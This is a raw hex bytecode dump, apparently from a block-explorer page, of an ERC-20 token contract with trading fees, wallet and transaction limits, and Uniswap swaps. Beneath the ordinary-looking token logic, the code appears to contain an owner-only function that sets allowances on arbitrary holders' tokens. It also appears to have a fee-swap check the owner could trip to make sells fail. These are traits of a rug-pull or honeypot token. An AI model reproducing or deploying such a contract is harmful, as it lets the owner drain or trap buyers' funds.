fffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561361357613612613419565b5b828201905092915050565b7f546865206c702063616e6e6f742062652072656d6f7665642066726f6d20617560008201527f746f6d61726b6574207061697200000000000000000000000000000000000000602082015250565b600061367a602d83612eff565b91506136858261361e565b604082019050919050565b600060208201905081810360008301526136a98161366d565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061370c602583612eff565b9150613717826136b0565b604082019050919050565b6000602082019050818103600083015261373b816136ff565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b600061379e602483612eff565b91506137a982613742565b604082019050919050565b600060208201905081810360008301526137cd81613791565b9050919050565b7f6b656570696e672062757920666565206173203325206f72206c657373000000600082015250565b600061380a601d83612eff565b9150613815826137d4565b602082019050919050565b60006020820190508181036000830152613839816137fd565b9050919050565b7f4f776e61626c653a206e6577206f776e6572206973207468652064656164206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061389c602683612eff565b91506138a782613840565b604082019050919050565b600060208201905081810360008301526138cb8161388f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061392e602483612eff565b9150613939826138d2565b604082019050919050565b6000602082019050818103600083015261395d81613921565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006139c0602283612eff565b91506139cb82613964565b604082019050919050565b600060208201905081810360008301526139ef816139b3565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613a2c601d83612eff565b9150613a37826139f6565b602082019050919050565b60006020820190508181036000830152613a5b81613a1f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613abe602583612eff565b9150613ac982613a62565b604082019050919050565b60006020820190508181036000830152613aed81613ab1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613b50602383612eff565b9150613b5b82613af4565b604082019050919050565b60006020820190508181036000830152613b7f81613b43565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613bbc601683612eff565b9150613bc782613b86565b602082019050919050565b60006020820190508181036000830152613beb81613baf565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613c4e603583612eff565b9150613c5982613bf2565b604082019050919050565b60006020820190508181036000830152613c7d81613c41565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613cba601383612eff565b9150613cc582613c84565b602082019050919050565b60006020820190508181036000830152613ce981613cad565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613d4c603683612eff565b9150613d5782613cf0565b604082019050919050565b60006020820190508181036000830152613d7b81613d3f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613dde602683612eff565b9150613de982613d82565b604082019050919050565b60006020820190508181036000830152613e0d81613dd1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050613e8181612fe1565b92915050565b600060208284031215613e9d57613e9c612e8c565b5b6000613eab84828501613e72565b91505092915050565b7f68616c66206f6620636f6e746163742062616c616e636520666f72207377617060008201527f70696e6720666565730000000000000000000000000000000000000000000000602082015250565b6000613f10602983612eff565b9150613f1b82613eb4565b604082019050919050565b60006020820190508181036000830152613f3f81613f03565b9050919050565b6000819050919050565b6000613f6b613f66613f6184613f46565b6130b0565b612e91565b9050919050565b613f7b81613f50565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613fb681612fcf565b82525050565b6000613fc88383613fad565b60208301905092915050565b6000602082019050919050565b6000613fec82613f81565b613ff68185613f8c565b935061400183613f9d565b8060005b838110156140325781516140198882613fbc565b975061402483613fd4565b925050600181019050614005565b5085935050505092915050565b600060a082019050614054600083018861312a565b6140616020830187613f72565b81810360408301526140738186613fe1565b905061408260608301856131a7565b61408f608083018461312a565b969550505050505056fea26469706673582212200e29da6202eb591b4ed5869633a9b265729e0953cbaf9ea85e85304c673ee9b364736f6c634300080f0033

Deployed Bytecode

0x60806040526004361061024a5760003560e01c8063751039fc11610139578063c18bc195116100b6578063d9bee3551161007a578063d9bee3551461088d578063dd62ed3e146108b6578063e2f45605146108f3578063f25f4b561461091e578063f2fde38b14610949578063f8b45b051461097257610251565b8063c18bc195146107d0578063c8c8ebe4146107f9578063c9567bf914610824578063cf0bd1e41461083b578063d257b34f1461086457610251565b8063a457c2d7116100fd578063a457c2d7146106c5578063a9059cbb14610702578063b62496f51461073f578063bbc0c7421461077c578063c0246668146107a757610251565b8063751039fc146105f25780637571336a1461061d5780638da5cb5b1461064657806395d89b41146106715780639a7a23d61461069c57610251565b80632b14ca56116101c75780634a62bb651161018b5780634a62bb651461051f578063635547cc1461054a5780636ddd17131461057357806370a082311461059e578063715018a6146105db57610251565b80632b14ca5614610436578063313ce56714610461578063395093511461048c57806347062402146104c957806349bd5a5e146104f457610251565b806318160ddd1161020e57806318160ddd1461034f578063203e727e1461037a57806323b872dd146103a357806327c8f835146103e05780632b112e491461040b57610251565b8063024f53811461025657806306fdde031461027f578063095ea7b3146102aa57806310d5de53146102e75780631694505e1461032457610251565b3661025157005b600080fd5b34801561026257600080fd5b5061027d60048036038101906102789190612ec7565b61099d565b005b34801561028b57600080fd5b50610294610a82565b6040516102a19190612f8d565b60405180910390f35b3480156102b657600080fd5b506102d160048036038101906102cc919061300d565b610b14565b6040516102de9190613068565b60405180910390f35b3480156102f357600080fd5b5061030e60048036038101906103099190613083565b610b37565b60405161031b9190613068565b60405180910390f35b34801561033057600080fd5b50610339610b57565b604051610346919061310f565b60405180910390f35b34801561035b57600080fd5b50610364610b7b565b6040516103719190613139565b60405180910390f35b34801561038657600080fd5b506103a1600480360381019061039c9190612ec7565b610b85565b005b3480156103af57600080fd5b506103ca60048036038101906103c59190613154565b610caf565b6040516103d79190613068565b60405180910390f35b3480156103ec57600080fd5b506103f5610cde565b60405161040291906131b6565b60405180910390f35b34801561041757600080fd5b50610420610d04565b60405161042d9190613139565b60405180910390f35b34801561044257600080fd5b5061044b610d48565b6040516104589190613139565b60405180910390f35b34801561046d57600080fd5b50610476610d4e565b60405161048391906131ed565b60405180910390f35b34801561049857600080fd5b506104b360048036038101906104ae919061300d565b610d57565b6040516104c09190613068565b60405180910390f35b3480156104d557600080fd5b506104de610d8e565b6040516104eb9190613139565b60405180910390f35b34801561050057600080fd5b50610509610d94565b60405161051691906131b6565b60405180910390f35b34801561052b57600080fd5b50610534610db8565b6040516105419190613068565b60405180910390f35b34801561055657600080fd5b50610571600480360381019061056c9190613234565b610dcb565b005b34801561057f57600080fd5b50610588610e7f565b6040516105959190613068565b60405180910390f35b3480156105aa57600080fd5b506105c560048036038101906105c09190613083565b610e92565b6040516105d29190613139565b60405180910390f35b3480156105e757600080fd5b506105f0610eda565b005b3480156105fe57600080fd5b50610607611032565b6040516106149190613068565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f9190613261565b6110ed565b005b34801561065257600080fd5b5061065b6111df565b60405161066891906131b6565b60405180910390f35b34801561067d57600080fd5b50610686611209565b6040516106939190612f8d565b60405180910390f35b3480156106a857600080fd5b506106c360048036038101906106be9190613261565b61129b565b005b3480156106d157600080fd5b506106ec60048036038101906106e7919061300d565b6113ce565b6040516106f99190613068565b60405180910390f35b34801561070e57600080fd5b506107296004803603810190610724919061300d565b611445565b6040516107369190613068565b60405180910390f35b34801561074b57600080fd5b5061076660048036038101906107619190613083565b611468565b6040516107739190613068565b60405180910390f35b34801561078857600080fd5b50610791611488565b60405161079e9190613068565b60405180910390f35b3480156107b357600080fd5b506107ce60048036038101906107c99190613261565b61149b565b005b3480156107dc57600080fd5b506107f760048036038101906107f29190612ec7565b6115db565b005b34801561080557600080fd5b5061080e611705565b60405161081b9190613139565b60405180910390f35b34801561083057600080fd5b5061083961170b565b005b34801561084757600080fd5b50610862600480360381019061085d9190613154565b6117da565b005b34801561087057600080fd5b5061088b60048036038101906108869190612ec7565b611897565b005b34801561089957600080fd5b506108b460048036038101906108af9190612ec7565b611938565b005b3480156108c257600080fd5b506108dd60048036038101906108d891906132a1565b611a1d565b6040516108ea9190613139565b60405180910390f35b3480156108ff57600080fd5b50610908611aa4565b6040516109159190613139565b60405180910390f35b34801561092a57600080fd5b50610933611aaa565b60405161094091906131b6565b60405180910390f35b34801561095557600080fd5b50610970600480360381019061096b9190613083565b611ad0565b005b34801561097e57600080fd5b50610987611c61565b6040516109949190613139565b60405180910390f35b6109a5611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2b9061332d565b60405180910390fd5b6006811115610a78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6f90613399565b60405180910390fd5b80600d8190555050565b606060038054610a91906133e8565b80601f0160208091040260200160405190810160405280929190818152602001828054610abd906133e8565b8015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b5050505050905090565b600080610b1f611c67565b9050610b2c818585611c6f565b600191505092915050565b600f6020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b610b8d611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c139061332d565b60405180910390fd5b670de0b6b3a76400006103e86001610c32610b7b565b610c3c9190613448565b610c4691906134d1565b610c5091906134d1565b811015610c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8990613574565b60405180910390fd5b670de0b6b3a764000081610ca69190613448565b60098190555050565b600080610cba611c67565b9050610cc7858285611e38565b610cd2858585611ec4565b60019150509392505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610d31600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e92565b610d39610b7b565b610d439190613594565b905090565b600d5481565b60006012905090565b600080610d62611c67565b9050610d83818585610d748589611a1d565b610d7e91906135c8565b611c6f565b600191505092915050565b600c5481565b7f0000000000000000000000009866930060bc5f532dc1b9db721069720564fd1281565b601160009054906101000a900460ff1681565b610dd3611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e599061332d565b60405180910390fd5b80601160026101000a81548160ff02191690831515021790555050565b601160029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ee2611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f689061332d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600061103c611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c29061332d565b60405180910390fd5b6000601160006101000a81548160ff0219169083151502179055506001905090565b6110f5611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117b9061332d565b60405180910390fd5b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054611218906133e8565b80601f0160208091040260200160405190810160405280929190818152602001828054611244906133e8565b80156112915780601f1061126657610100808354040283529160200191611291565b820191906000526020600020905b81548152906001019060200180831161127457829003601f168201915b5050505050905090565b6112a3611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611332576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113299061332d565b60405180910390fd5b7f0000000000000000000000009866930060bc5f532dc1b9db721069720564fd1273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b790613690565b60405180910390fd5b6113ca8282612845565b5050565b6000806113d9611c67565b905060006113e78286611a1d565b90508381101561142c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142390613722565b60405180910390fd5b6114398286868403611c6f565b60019250505092915050565b600080611450611c67565b905061145d818585611ec4565b600191505092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b601160019054906101000a900460ff1681565b6114a3611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611532576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115299061332d565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516115cf9190613068565b60405180910390a25050565b6115e3611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611672576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116699061332d565b60405180910390fd5b670de0b6b3a76400006103e86005611688610b7b565b6116929190613448565b61169c91906134d1565b6116a691906134d1565b8110156116e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116df906137b4565b60405180910390fd5b670de0b6b3a7640000816116fc9190613448565b600b8190555050565b60095481565b611713611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117999061332d565b60405180910390fd5b6001601160016101000a81548160ff0219169083151502179055506001601160026101000a81548160ff021916908315150217905550565b6117e2611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118689061332d565b60405180910390fd5b61187c82600161149b565b6118873360016110ed565b611892838383611c6f565b505050565b61189f611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461192e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119259061332d565b60405180910390fd5b80600a8190555050565b611940611c67565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c69061332d565b60405180910390fd5b6003811115611a13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0a90613820565b60405180910390fd5b80600c8190555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61dead73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015611b625750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611b4a611c67565b73ffffffffffffffffffffffffffffffffffffffff16145b611ba1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b98906138b2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590613944565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d44906139d6565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e2b9190613139565b60405180910390a3505050565b6000611e448484611a1d565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611ebe5781811015611eb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea790613a42565b60405180910390fd5b611ebd8484848403611c6f565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2a90613ad4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611fa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9990613b66565b60405180910390fd5b60008103611fbb57611fb6838360006128e6565b612840565b601160009054906101000a900460ff16156124b6578273ffffffffffffffffffffffffffffffffffffffff16611fef6111df565b73ffffffffffffffffffffffffffffffffffffffff161415801561204657508173ffffffffffffffffffffffffffffffffffffffff1661202d6111df565b73ffffffffffffffffffffffffffffffffffffffff1614155b801561207f5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120b9575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120d25750600e60149054906101000a900460ff16155b156121cd57601160019054906101000a900460ff166121cc57601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061218c5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6121cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c290613bd2565b60405180910390fd5b5b5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156122705750600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612317576009548111156122ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b190613c64565b60405180910390fd5b600b546122c683610e92565b826122d191906135c8565b1115612312576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230990613cd0565b60405180910390fd5b6124b5565b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123ba5750600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561240957600954811115612404576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123fb90613d62565b60405180910390fd5b6124b4565b600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166124b357600b5461246683610e92565b8261247191906135c8565b11156124b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a990613cd0565b60405180910390fd5b5b5b5b5b60006124c130610e92565b90506000600a5482101590508080156124e65750601160029054906101000a900460ff165b80156124ff5750600e60149054906101000a900460ff16155b80156125555750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156125ab5750601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156126015750601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612645576001600e60146101000a81548160ff021916908315150217905550612629612b65565b6000600e60146101000a81548160ff0219169083151502179055505b6000600e60149054906101000a900460ff16159050601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806126fb5750601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561270557600090505b6000811561283057600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561276857506000600d54115b1561278e576064600d548661277d9190613448565b61278791906134d1565b905061280c565b600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156127e957506000600c54115b1561280b576064600c54866127fe9190613448565b61280891906134d1565b90505b5b6000811115612821576128208730836128e6565b5b808561282d9190613594565b94505b61283b8787876128e6565b505050505b505050565b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612955576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294c90613ad4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036129c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129bb90613b66565b60405180910390fd5b6129cf838383612bb5565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a4c90613df4565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612ae891906135c8565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b4c9190613139565b60405180910390a3612b5f848484612bba565b50505050565b6000612b7030610e92565b905060008103612b805750612bb3565b6002600a54612b8f9190613448565b811115612ba8576002600a54612ba59190613448565b90505b612bb181612bbf565b505b565b505050565b505050565b6000600267ffffffffffffffff811115612bdc57612bdb613e14565b5b604051908082528060200260200182016040528015612c0a5781602001602082028036833780820191505090505b5090503081600081518110612c2257612c21613e43565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612cc7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ceb9190613e87565b81600181518110612cff57612cfe613e43565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612d64307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611c6f565b6032612d91600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e92565b1115612dd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dc990613f26565b60405180910390fd5b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401612e5695949392919061403f565b600060405180830381600087803b158015612e7057600080fd5b505af1158015612e84573d6000803e3d6000fd5b505050505050565b600080fd5b6000819050919050565b612ea481612e91565b8114612eaf57600080fd5b50565b600081359050612ec181612e9b565b92915050565b600060208284031215612edd57612edc612e8c565b5b6000612eeb84828501612eb2565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612f2e578082015181840152602081019050612f13565b83811115612f3d576000848401525b50505050565b6000601f19601f8301169050919050565b6000612f5f82612ef4565b612f698185612eff565b9350612f79818560208601612f10565b612f8281612f43565b840191505092915050565b60006020820190508181036000830152612fa78184612f54565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612fda82612faf565b9050919050565b612fea81612fcf565b8114612ff557600080fd5b50565b60008135905061300781612fe1565b92915050565b6000806040838503121561302457613023612e8c565b5b600061303285828601612ff8565b925050602061304385828601612eb2565b9150509250929050565b60008115159050919050565b6130628161304d565b82525050565b600060208201905061307d6000830184613059565b92915050565b60006020828403121561309957613098612e8c565b5b60006130a784828501612ff8565b91505092915050565b6000819050919050565b60006130d56130d06130cb84612faf565b6130b0565b612faf565b9050919050565b60006130e7826130ba565b9050919050565b60006130f9826130dc565b9050919050565b613109816130ee565b82525050565b60006020820190506131246000830184613100565b92915050565b61313381612e91565b82525050565b600060208201905061314e600083018461312a565b92915050565b60008060006060848603121561316d5761316c612e8c565b5b600061317b86828701612ff8565b935050602061318c86828701612ff8565b925050604061319d86828701612eb2565b9150509250925092565b6131b081612fcf565b82525050565b60006020820190506131cb60008301846131a7565b92915050565b600060ff82169050919050565b6131e7816131d1565b82525050565b600060208201905061320260008301846131de565b92915050565b6132118161304d565b811461321c57600080fd5b50565b60008135905061322e81613208565b92915050565b60006020828403121561324a57613249612e8c565b5b60006132588482850161321f565b91505092915050565b6000806040838503121561327857613277612e8c565b5b600061328685828601612ff8565b92505060206132978582860161321f565b9150509250929050565b600080604083850312156132b8576132b7612e8c565b5b60006132c685828601612ff8565b92505060206132d785828601612ff8565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613317602083612eff565b9150613322826132e1565b602082019050919050565b600060208201905081810360008301526133468161330a565b9050919050565b7f6b656570696e672073656c6c20666565206173203625206f72206c6573730000600082015250565b6000613383601e83612eff565b915061338e8261334d565b602082019050919050565b600060208201905081810360008301526133b281613376565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061340057607f821691505b602082108103613413576134126133b9565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061345382612e91565b915061345e83612e91565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561349757613496613419565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006134dc82612e91565b91506134e783612e91565b9250826134f7576134f66134a2565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b600061355e602f83612eff565b915061356982613502565b604082019050919050565b6000602082019050818103600083015261358d81613551565b9050919050565b600061359f82612e91565b91506135aa83612e91565b9250828210156135bd576135bc613419565b5b828203905092915050565b60006135d382612e91565b91506135de83612e91565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561361357613612613419565b5b828201905092915050565b7f546865206c702063616e6e6f742062652072656d6f7665642066726f6d20617560008201527f746f6d61726b6574207061697200000000000000000000000000000000000